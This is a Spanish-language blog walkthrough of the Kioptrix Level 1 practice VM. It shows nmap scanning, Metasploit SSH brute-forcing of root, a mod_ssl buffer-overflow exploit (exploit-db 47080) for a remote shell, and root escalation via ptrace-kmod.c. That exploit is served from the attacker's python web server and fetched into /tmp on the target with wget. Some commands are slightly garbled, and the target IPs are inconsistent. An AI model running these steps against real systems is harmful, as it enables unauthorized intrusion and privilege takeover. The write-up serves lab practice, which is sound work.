Kioptrix: Level 1 – Guía de Pentesting

Kioptrix: Level 1

kioptix1

1. Introducción

Kioptrix: Level 1 es una máquina virtual diseñada para practicar pruebas de penetración ofensiva. Se encuentra disponible en Vulnhub. El objetivo es identificar vulnerabilidades, explotarlas y obtener acceso privilegiado, siguiendo un flujo de trabajo realista.

2. Configuración inicial

  • Descargar la máquina virtual desde Vulnhub (Clic aqui).
  • Importar el archivo .vmx en VMWare: File -> Open -> Seleccionar VMX.
  • La red está configurada en modo bridge, por lo que la VM obtiene una IP dentro del mismo rango que el host físico.

kioptix1

3. Reconocimiento de red

Identificamos la IP de la máquina con:

arp -a

Una vez localizada, realizamos un escaneo de puertos con nmap:

nmap 192.168.100.104

Vemos varias cosas interesantes como el puerto 22 (SSH) por lo que podemos intentar realizar un ataque de brute force.

4. Ataque por fuerza bruta (SSH)

Usamos Metasploit para intentar credenciales válidas en SSH:

msfconsole

y usamos el auxiliar ssh login:

use auxiliary/scanner/ssh/ssh_login

Ahora lo “configuraremos”;

show options

Agregamos el target (host remoto), un listado de passwords que tomaremos de prueba alguna misma que viene dentro de kali, y como username nos iremos directo por el root:

set rhosts 192.168.1.104
set username root
set pass_file /usr/share/wordlists/john.lst

Ya que no seteamos el verbose en true, no veremos las interacciones que tiene usando username:password:

Ya que esto es tardado, mientras podemos seguir viendo más opciones como por ejemplo vemos que el puerto 80 también está abierto.

5. Análisis de servicios web

El puerto 80 no muestra aplicaciones visibles, por lo que utilizamos Nikto:

nikto -h http://192.168.1.104

y vemos algo interesante:

mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell.

6. Explotación de mod_ssl

Buscamos exploits disponibles:

searchsploit mod_ssl 2.8.4

Leemos la cabecera del último archivo con el comando head que nos da las 10 primeras líneas del archivo, ya que normalmente nos dice instrucciones/requerimientos:

head /usr/share/exploitdb/exploits/unix/remote/47080.c

Primero copiare el archivo a mi carpeta apache2.8.4:

cp head /usr/share/exploitdb/exploits/unix/remote/47080.c apache.c

Ahora si lo compilamos:

Ya que lo compilamos lo iniciamos para ver cómo utilizarlo:

entonces según las opciones quedaría:

./apache 0x6b 192.168.1.104 443 -c 40

Pero tenemos un detalle por las versiones del tls/ssl, al ser una maquina ya viejita tiene protocolos viejos por lo que no conecta con packtstorm para descargar el exploit por lo que se puede ver en el error:

Logramos tener shell remota pero con permisos apache que básicamente solo tendríamos permisos en la carpeta /tmp, lo que intentaremos hacer descargar el exploit en nuestra maquina y descargarlo en la shell remota en la carpeta /tmp.

7. Escalada de privilegios

Descargamos un exploit local para escalar privilegios:

wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

Ahora levantaremos un servidor web desde esa misma carpeta:

python3 -m http.server 80

Regresamos a la shell remota para descargarlo en /tmp y tratar de compilar e iniciarlo:

wget http://192.168.1.30/ptrace-kmod.c

Intentamos compilarlo:

gcc -o exploit ptrace-kmod.c

parece que todo bien, así que ahora lo ejecutamos:

Listo, ya tenemos el acceso como root, realizo un cambio de contraseña al usuario root e ingreso en la máquina virtual para comprobarlo:

8. Conclusiones

  • El flujo de ataque incluyó reconocimiento, explotación remota y escalada de privilegios.
  • Kioptrix Level 1 es un excelente laboratorio para practicar técnicas clásicas de pentesting.
  • La metodología aplicada puede adaptarse a entornos más complejos y modernos.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *